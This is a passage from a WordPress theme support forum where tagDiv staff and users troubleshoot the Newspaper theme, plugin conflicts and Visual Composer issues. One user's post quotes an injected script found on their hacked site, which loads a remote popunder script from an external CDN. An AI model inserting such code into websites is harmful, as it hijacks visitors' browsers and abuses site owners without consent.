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Catalin
tagDiv Staff

Hello adam21s,

I have inspected your website and I saw that you have some problems with the sidebar and ads on the articles posted. I suggest you make a new clean install from scratch via FTP way, clear all the caches and check the results. -> https://www.screencast.com/t/UQGsyd5z
If you are using some untested plugins, remove all of these and leave just only the required plugins to active and check the results.

Hope this helps and let us know how it goes!

Thanks for the message!

Simion C.
tagDiv Staff

Hi,

Please go to your plugins section and deactivate the tagDiv composer. Having both Visual composer and tagDiv composer active can create problems in some cases.
Then your Visual composer pages should display properly.
The new front-end page editor is activated by default when the theme is installed or updated to the latest version.

Thanks

Catalin
tagDiv Staff

Hello Glenn,

Maybe you are using some untested plugins which are not compatible with Newspaper 8 and that’s why you got this, sorry! I do not know what kind of plugin you are using but please notice that we do not recommend using any others plugins for this optimizations because it is not required. Try to make a new clean install from scratch via FTP way, clear all the caches and use only the plugins that come bundled with the theme core files and check the results. If the problem is still there, you should provide your website URL and also, some useful screenshots with before/after results.

Thanks for your understanding!

Catalin
tagDiv Staff

Hello tigreton,

You mean that the mega menu option does not appear in the options? Ensure that you have right installed the theme via FTP way and then, if the problem is still there, please send us an email at contact@tagdiv.com with your log-in information (wp-admin) so we can further inspect it closer your setup page. Provide there the link to this topic so we can quickly identify you.

Thanks for the message!

Catalin
tagDiv Staff

Hello 22p,

This error might appear only if your WP Super Cache is not right configured according to our documentation here -> https://forum.tagdiv.com/cache-plugin-install-and-configure/ Please setup it exactly with our useful guide.
Another cause of this problem would be a wrong setting from Seo Yoast plugin.
It is an option in the SEO Yoast plugin causing problems with the composer:
Turn off the following option from Seo Yoast, like this -> https://www.screencast.com/t/n8Cc35EofLh
You can still use Yoast as it is the tested and recommended SEO plugin but just not that option.

Thanks.

Simion C.
tagDiv Staff

Hi,

This might be caused by a plugin, try to deactivate all your plugins except the ones provided with the theme and clear any caching installed. Then check to see if the menu is working properly.
Or check any customization you might have made to the theme files directly, or through a child theme.

Thanks

Catalin
tagDiv Staff

Hello websystemsweb,

It is strange what you mean above because I have tested on my side this case, logged in as an author and the page cannot be edited, sorry! This problem comes only from your install. Please check your list with the used plugins to be compatible and tested with the theme because otherwise, all of these might interact with the theme core files and cause a lot of unknown issues/problems like this.
If the problem is still there and if you need more assistance, in this case, please send us an email at contact@tagdiv.com with your log-in information (wp-admin) so we can take a closer look at your setup page. Provide there the link to this topic so we can quickly identify you.

Thanks for your understanding!

Catalin
tagDiv Staff

Hello GameZervers,

Please notice that if you were installed the theme without content, you cannot show anything because you do not have any content, right? Or, do you have some content on your website in order to display it? If you need more assistance in this case, please provide your website URL so I can take a closer look at it.

Thanks for your understanding!

Simion C.
tagDiv Staff

Hi,

You could try and install these plugins and see which one is best suited for your needs. We have not tested them with the theme, but if you follow the plugin instructions you might achieve the desired results. The theme does not have any newsletter popups by default, that can only be achieved by a plugin that has the option.
You can also search the forum for plugin suggestions in this matter, and see what other users have installed and used with success.

Thanks

hafizhafizah
Participant
#0

Hi, I’m having an Issue when Installing tagDiv Mobile Theme. I got this error when Activate the plugin.

Plugin could not be activated because it triggered a fatal error.

Cannot redeclare class Mobile_Detect in ……./td-mobile-plugin/Mobile_Detect.php on line 29

how to solve this problem.?? Thanks.

andantesash
Participant
#0

My sites keeps showing a popup to another site, when I investigate the code – it shows the following:

<script type="text/javascript">//<![CDATA[
(function() {
var configuration = {
"token": "8f1bc5aa7e697f9829c057cfd305bd64",
"popUnder": {
"enabled": true
}
};
var script = document.createElement('script');
script.async = true;
script.src = '//cdn.shorte.st/link-converter.min.js';
script.onload = script.onreadystatechange = function () {var rs = this.readyState; if (rs && rs != 'complete' && rs != 'loaded') return; shortestMonetization(configuration);};
var entry = document.getElementsByTagName('script')[0];
entry.parentNode.insertBefore(script, entry);
})();
//]]>

I have also noticed other people with the same issue on the Newspaper theme:
https://stackoverflow.com/questions/44038908/how-to-determine-how-someone-is-hacking-my-wordpress-site

Here is a link to my site
https://goo.gl/iHfsxQ

Can you please advise how to fix this, I have removed all wordpress files, updated theme, removed and installed all plugins again, ran wordfence and anti-malware and its still there.

rsh2k1
Participant
#0

Hi everyone –

A newbie here, and searched a couple of times in the forums, but couldn’t find the answer.

I just installed Newsmag on my site and love it so far. But running into a persistent problem neither I nor my theme installer person can fix.

The issue is that the default treatment of certain styles — specifically, the blockquote style. The default styling is large, centered, and colored text. We see it here in the forums. I changed that via CSS stylesheets to something I can use. So everything is fine on the front-end.

The problem now is that when I’m writing or editing a post (NOT A PAGE, a POST, so Visual Composer or tD composer are not involved), the blockquote style behaves as it did before the CSS changes.

So the question is, how do we either make the visual editor inherit the CSS styles from the frontend, or change the default theme styles so that both the backend post editor (TinyMCE?) and the frontend website use the same styles?

We already know about the font handling in the theme, which is wonderful. But those don’t cover the default styles (again, the best example is the “blockquote” style).

Thank you

ds.ellis
Participant
#0

Hi there,

Firstly thanks for the theme, it’s awesome. I’m a complete web novice and really happy with how much the theme has helped me get to grips with things. Thanks for that.

Having a problem with the Edit Content button in the Element “Text with title”. Clicking edit content brings up the WP Editor window, and the loading circle just continues forever and it never loads. No idea why and no idea where to start with fixing it. I’ve done the usual reinstall plugins, try different browsers, different pcs and different user logins, but no joy.

Image of the issue: https://ibb.co/bWJquk

I did a google and the only result I can find is this thread: https://forum.tagdiv.com/topic/td-composerelement-text-with-title-problem/

My theme system panel looks ok. The home site URL being different I have been told is 100% not an issue by my friend who does the hosting, and the button did work a week or so ago.

Image of theme system panel: https://ibb.co/fh7N75

Any help appreciated. Happy to create a temporary login. I’m a complete rookie, so go easy please, lol.

OscarRD
tagDiv Member

I deleted VC and installed it from the theme panel. Now I have the modules in VC again, but I’m going to play redo the pages I had pre-designed
If I have not misunderstood the problem, so that it does not happen again, should not I update VC?

websystemsweb
tagDiv Member

Hi Catalin. Thank you so much for your support. I investigated and I:
– installed a fresh WP
– reinstalled theme and child theme
– reinstalled and activated all plugins
All was normal until here.
So I checked all values in wp_options and I finally found that the value for the key “wp_user_roles” was not the default/right/working one.
So I restored values in this key and everything is OK now.
I don’t know why this happened: maybe some active (or inactive or deleted) plugin changed that value with a “wrong” one.
Anyway I think the behavior of Visual Composer was not correct, because I was able to change a page content WITHOUT permission with the front-end editor, while there was no native “edit” link, and the normal edit backend was not accessible at all.
Maybe there is some capability not well-checked by Visual Editor? Maybe it activated its front-end editor despite lack of permission, picking up a wrong value from db?
This is the link with all my “buggy” wp_user_roles field value:
https://pastebin.com/xSib7x37
Maybe you can find out what rule allowed an author to modify other’s page content.
Thank you
G

GameZervers
Participant
#0

i just installed the theme, but after installing the demo without content i can’t seem to get that to show.

Simion C.
tagDiv Staff

Hi,

I believe you might have updated the Visual composer editor. There are many similar topics on the forum. The currently included in the theme package and compatible plugin version is version 5.1.1. It is strongly not recommend to update the editor before it is officially supported. When Visual composer receives an update it will first be tested with the theme and then included in the package
https://forum.tagdiv.com/how-to-update-visual-composer-plugin/
https://forum.tagdiv.com/topic/visual-composer-update-21/
What you can try is to deactivate and delete the updated Visual composer plugin, and install the one provided with the theme.

Thanks

Simion C.
tagDiv Staff

Hi,

I have tried the code that you mention on a h2 heading within the post content, and it is working for me
https://www.screencast.com/t/BLuNQZkOEEGN
It could be a caching problem, try clearing any installed cache. Then check if the code applies.

Thanks

pem
tagDiv Member

Hi,
I did as you said and i have only required plugin installed and i installed demo – news template. when i selected default then row border is same as block but when i selected “stretch row and content” then row is stretching but not the content. You can make out from my screenshot. I think this is problem with Block1 and Block17. Other Block like Block3,Block12 is working fine with “stretch row and content” option. This is on fresh wordpress installation.

https://ibb.co/fJ7Vc5
https://ibb.co/dhGdVQ
https://ibb.co/gTLSPk

Simion C.
tagDiv Staff

Hi,

It should work properly for all the blocks and rows. Maybe something is interfering with the theme and with the composer.
Try deactivating all other plugins except the tagDiv composer and the plugins provided in the theme package, and clear any caching installed. Then create a new page and check again with the same block, or different ones.
Please let us know how it goes.

Thanks

Catalin
tagDiv Staff

Hello Tina,

For more information about how you should use the Child Theme, please check here -> https://forum.tagdiv.com/the-child-theme-support-tutorial/ Notice that child theme is not required to be installed only if you want to make some additional customization through the code and not be lost to a next update of the theme.

Thanks for your understanding!

Catalin
tagDiv Staff

Hello dired62,

Check your Plugins list and there you will see the Speed Booster plugin, like this -> https://www.screencast.com/t/InnhMe0XG8TU Being an old version, you should remove it and install the latest version of it which is available with the latest theme version.

Thanks for your understanding!

Gil Poulsen
tagDiv Member

Hi, Catalin. Unfortunately that’s NOT how it works, I deleted the entire theme as a test, then downloaded v. 8 and installed. Before I even looked at my home page, I immediately disabled the TagDiv Composer plugin, and then went to my home page, which was gone. So in spite of what you are insisting, I cannot use Visual Composer for my site and must use the new TagDiv composer, which is why I was voicing my complaints before, so I will ask this as a question: How do I continue to use Visual Composer for my site and NOT use TagDiv Composer at all?

Fabrizio
tagDiv Member

Yes, i have installed the 5.2, the problem i usually update automatic all the plugins.
thansk
regards

Ting-Chih Wang
Participant
#0

Hi,

I have only realised now that I didn’t install child theme. I have almost finished working on my site. Is there any possible way of installing child theme now? Or I don’t need to?

Thanks,
Tina

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